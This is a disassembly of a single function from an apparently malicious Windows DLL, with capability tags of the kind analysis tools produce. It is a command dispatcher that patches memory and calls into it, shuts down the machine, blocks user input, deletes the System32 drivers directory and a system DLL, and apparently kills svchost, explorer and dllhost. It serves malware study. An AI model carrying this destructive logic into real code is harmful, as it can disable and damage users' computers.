Function at 0x100100d0
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10052434]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x667
push esi
push edi
cmp word [ebx + 4], ax
jne 0x1001012c
push 0x1770
push 0
push 0x100990b0
call fcn.1001b5e0
add esp, 0xc
lea ecx, [ebx + 0xc]
push 0x1770
push ecx
push 0x100990b0
call fcn.1001b060
mov ecx, dword [ebx + 0x177c]
add esp, 0xc
mov dword [0x100990ac], ecx
jmp 0x10010465
mov ecx, 0x1000
mov eax, 0x1009bbc0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x10010136
movsx eax, word [ebx]
test eax, eax
je 0x10010184
cmp eax, 0x1000
ja 0x10010160
push eax
push ebx
push 0x1009bbc0
call fcn.1001b060
add esp, 0xc
jmp 0x10010184
push 0x1000
push 0
push 0x1009bbc0
call fcn.1001b5e0
add esp, 0xc
call fcn.10024cd4
mov dword [eax], 0x22
call fcn.10024542
movzx eax, word [ebx + 4]
mov edx, 0xd1d
cmp ax, dx
jne 0x100101cd
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push 0x49b50a
mov dword [ebp - 8], 0x40
call esi
lea eax, [ebp - 8]
mov dword [0x49b50b], 0xffffaaaa
push eax
push dword [ebp - 8]
push 4
push 0x49b50a
call esi
jmp 0x10010465
mov ecx, 0x5000
cmp ax, cx
jne 0x1001021b
mov esi, dword [ebx + 0x6c]
lea eax, [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push 0x49b50a
mov dword [ebp - 8], 0x40
call edi
mov dword [0x49b50b], esi
mov eax, dword [0x6bdaf0]
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [0x10061de0]
jmp 0x1001044b
mov ecx, 0xd1e
cmp ax, cx
jne 0x1001026e
mov word [ebx + 4], dx
mov edi, dword [0x1009bc28]
test edi, edi
je 0x10010465
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push 0x4a571c
mov dword [ebp - 8], 0x40
call esi
lea eax, [ebp - 8]
mov dword [0x4a571c], edi
push eax
push dword [ebp - 8]
push 4
push 0x4a571c
call esi
jmp 0x10010465
mov ecx, 0x666
cmp ax, cx
jne 0x100102b3
movups xmm0, xmmword [ebx + 0x10]
movups xmmword [0x10098fac], xmm0
movups xmm0, xmmword [ebx + 0x20]
movups xmmword [0x10098fbc], xmm0
movups xmm0, xmmword [ebx + 0x30]
movups xmmword [0x10098fcc], xmm0
movq xmm0, qword [ebx + 0x40]
movq qword [0x10098fdc], xmm0
mov eax, dword [ebx + 0x48]
mov dword [0x10098fe4], eax
jmp 0x10010465
mov edx, 0xafa
mov ecx, eax
cmp ax, dx
jne 0x10010402
movzx eax, word [ebx + 0xc]
cmp ax, 1
jne 0x100102d5
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp ax, 2
jne 0x100102e8
push str.shutdown__s__t_5
call fcn.10024c2c
add esp, 4
mov esi, dword [sym.imp.USER32.dll_BlockInput]
push 1
call esi
cmp word [ebx + 0xc], 3
jne 0x100102fd
push 1
call esi
push 0x18
push str.C:WindowsSystem32drivers
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
call fcn.10005280
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
cmovae eax, dword [ebp - 0x28]
push eax
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x10010369
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1001035f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001047a
push edx
push ecx
call fcn.10019454
add esp, 8
push 0x17
push str.C:WindowsSystem32_d.dll
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
call fcn.10005280
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push eax
call edi
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x100103cf
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100103c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001047f
push edx
push ecx
call fcn.10019454
add esp, 8
mov ecx, str.svchost.exe
call fcn.10010000
mov ecx, str.explorer.exe
call fcn.10010000
mov ecx, str.dllhost.exe
call fcn.10010000
push 1
call esi
push str.shutdown__s__t_5
call fcn.10024c2c
movzx ecx, word [ebx + 4]
add esp, 4
mov eax, 0xaf1
cmp cx, ax
jne 0x10010465
mov esi, dword [ebx + 0x68]
lea eax, [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push 0x49b50a
mov dword [ebp - 8], 0x40
call edi
mov dword [0x49b50b], esi
mov eax, dword [0x6bdaf0]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
call dword [0x10061de0]
lea eax, [ebp - 8]
mov dword [0x49b50b], 0xffffaaaa
push eax
push dword [ebp - 8]
push 4
push 0x49b50a
call edi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10019411
mov esp, ebp
pop ebp
ret 8
call fcn.10024552
call fcn.10024552
int3